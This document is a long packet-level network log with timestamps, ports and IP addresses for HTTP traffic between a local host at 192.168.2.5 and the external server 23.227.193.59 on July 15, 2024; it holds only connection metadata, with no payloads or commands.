Jul 15, 2024 00:48:36.514205933 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514242887 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514369965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514381886 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514394999 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514405966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514417887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514425993 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514456987 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514482021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514525890 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514646053 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514658928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514671087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514681101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514692068 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514694929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514708042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514714003 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514720917 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514733076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514746904 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514751911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514770985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514774084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514786005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514797926 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514810085 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514811039 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514822960 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514837027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514854908 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514918089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514930964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514941931 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514954090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514961958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.514966965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514981985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.514997005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515023947 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515069008 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515080929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515091896 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515103102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515113115 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515116930 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515130043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515137911 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515145063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515168905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515172005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515182018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515193939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515206099 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515208960 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515219927 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515229940 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515239000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515254021 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515259981 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515269041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515281916 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515295029 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515295029 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515306950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.515309095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.515352964 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.542763948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542789936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542802095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542850971 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542862892 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542879105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542959929 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542972088 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.542982101 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.543023109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.599737883 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599838018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599849939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599917889 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.599940062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599952936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599963903 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599976063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599986076 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.599996090 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.600011110 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.600023985 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.600902081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.600980043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.600991964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601028919 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.601150036 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601164103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601176023 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601193905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.601197004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601211071 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601217031 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.601222992 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601236105 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601248026 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601258993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601269007 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.601278067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601289988 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.601290941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.601301908 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.601330042 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602001905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602014065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602025986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602052927 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602134943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602147102 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602158070 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602169991 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602180958 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602181911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602201939 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602214098 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602283001 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602294922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602328062 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602364063 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602375031 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602387905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602404118 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602427959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602442980 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602456093 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602471113 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602474928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602488041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602497101 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602502108 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602515936 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602524996 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602528095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602541924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602550983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602576971 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602611065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602622986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602633953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602660894 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602680922 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602694035 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602706909 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602719069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602729082 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602749109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602827072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602838993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602859974 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602868080 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602873087 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602885962 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602897882 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602899075 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602910042 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.602924109 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.602951050 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.603256941 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603269100 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603280067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603291988 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603300095 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.603305101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603316069 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603328943 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603332043 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.603339911 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603357077 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.603368044 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.603813887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603827000 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603838921 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603864908 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.603971004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603981972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.603992939 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604002953 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604016066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604021072 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604029894 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604046106 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604053020 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604118109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604131937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604144096 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604155064 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604157925 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604166985 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604181051 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604181051 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604192972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604204893 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604204893 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604227066 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604232073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604260921 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604651928 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604665041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604674101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604686022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604696035 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604707003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604720116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604721069 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604732037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604743004 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604754925 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604760885 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604767084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604779005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604779959 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604793072 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604804039 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604804039 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604819059 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604831934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604840040 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604842901 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604859114 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604862928 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604872942 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604876995 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604885101 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604897022 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604911089 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604911089 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604923964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604935884 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604935884 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604947090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.604955912 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.604979038 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.633821964 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.633846045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.633872986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.633884907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.633896112 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.633907080 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.633918047 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.634049892 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.688251972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688271046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688376904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.688395977 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688409090 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688421965 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688461065 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688467979 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.688472986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688491106 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.688503027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.688529968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689101934 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689416885 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689429045 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689448118 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689460993 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689464092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689472914 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689486027 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689486027 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689497948 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689510107 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689512968 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689522982 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689536095 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689538002 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689547062 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689559937 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689569950 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689572096 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689582109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689595938 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689596891 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689606905 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.689610004 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.689627886 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.690346003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.690359116 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.690371037 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.690397978 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.690406084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.690409899 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.690413952 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.690423012 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.690447092 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691015005 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691025972 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691035986 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691047907 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691057920 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691071033 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691097975 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691138983 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691231966 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691243887 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691256046 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691271067 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691276073 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691287041 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691322088 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691359043 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691397905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691416979 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691430092 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691458941 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691548109 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691560030 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691566944 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691579103 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691591024 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691601992 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691612005 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691703081 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691715002 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691728115 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691739082 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691747904 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691751003 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691762924 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691775084 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691775084 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691783905 CEST	57614	80	192.168.2.5	23.227.193.59
Jul 15, 2024 00:48:36.691797018 CEST	80	57614	23.227.193.59	192.168.2.5
Jul 15, 2024 00:48:36.691808939 CEST	80	57614	23.227.193.59	192.168.2.5
